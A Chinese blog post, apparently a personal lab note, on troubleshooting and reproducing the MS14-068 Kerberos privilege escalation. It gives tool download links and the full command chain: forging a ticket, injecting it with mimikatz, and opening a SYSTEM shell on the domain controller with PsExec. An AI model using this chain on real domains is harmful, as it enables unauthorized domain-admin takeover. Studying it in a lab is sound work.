安全小白成长之路

0%

MS14-068排错笔记

前言

这几天在研究MS14-068域普通用户提权的问题,自己搭建了域环境,使用普通域用户死活提不上权限。现在终于解决了,所以把研究过程记一下。

问题:mimikatz导入凭证后依然“拒绝访问”域控文件

可能点一:mimikatz将凭证注入内存不成功

mimikatz在注入凭证后,使用”kerberos::list”看一下是否当前凭证只有一个,若只有一个则说明注入成功。
若有多个,如下图所示:
Image 10.png
则说明伪造的凭证“可能”注入成功,但是后续访问域控共享文件“任然”可能失败。
若一个都没有,”kerberos::list”为空,则说明凭证注入失败,则需要多试几次,或者使用更高级权限的mimikatz注入试试
Image 11.png

可能点二:域控未安装“域证书服务”(这次失败点就在于此)

因为是新手,对域控环境搭建不是很熟悉,所以我在搭建域控环境的时候,只安装了“域服务”和“DNS服务”(如下图红框所示),并未在意“AD证书服务”的安装(如下图箭头所示)。经过后续尝试才发现需要安装这个服务,才能成功进入域控文件共享。
Image 12.png

MS14-068漏洞复现

MS14-068漏洞可以将一个普通域用户提升到域管权限,从而进行后续的横向渗透,该漏洞有几个必要条件:

  • 域控上无KB3011780补丁
  • 拥有一台域内机器的控制权限
  • 拥有一个域账户的SID、账号、密码/hash

工具下载:

1
2
3
4
5
Ms14-068.exe 下载地址: https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

PSexec 下载地址: https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe

mimikatz 下载地址: https://github.com/gentilkiwi/mimikatz/releases

漏洞利用

获取普通域用户SID:

1
whoami /user

Image 13.png

获取域控主机名/IP地址

1
2
3
net group "Domain controllers" /domain
********
ping 主机名

注意不要带$符号

Image 14.png

测试是否可以访问域控共享文件

1
dir \\域控主机名.域名\c$

Image 16.png

可以看到显示“拒绝访问”,这是正常,域普通用户当然没有权限访问域控共享文件,现在我们需要使用MS14-068提权。

Image 18.png

MS14-068需要几个必要的参数,SID、域用户名、域控地址,另外还需要密码,若没有密码可以使用–rc4来使用hsah生成凭证

1
S14-068.exe -u test1@testaa.com -s S-1-5-21-1054765563-66723455-3431114319-1104 -d WIN-GPBP3K667HC.testaa.com -p X*******

Image 19.png

进入mimikatz

1
2
3
kerberos::list   //查看当前凭证
kerberos::purge //清除凭证
kerberos::list //再次查看,确保无凭证

Image 20.png

使用如下命令导入刚刚生成的伪造凭证

1
kerberos::ptc 凭证地址

Image 21.png

再次访问域控的共享文件,即可发现已经成功列出目录了

Image 22.png

使用Psexec64.exe横向移动

1
psesec.exe -accepteula \\IPaddress -s cmd.exe

Image 24.png

可以观察到命令提示符已经变了,且用户权限为域控的system权限(由于Psexec64.exe的-s原因)。看IP地址也可知晓已经成功登陆域控机器了。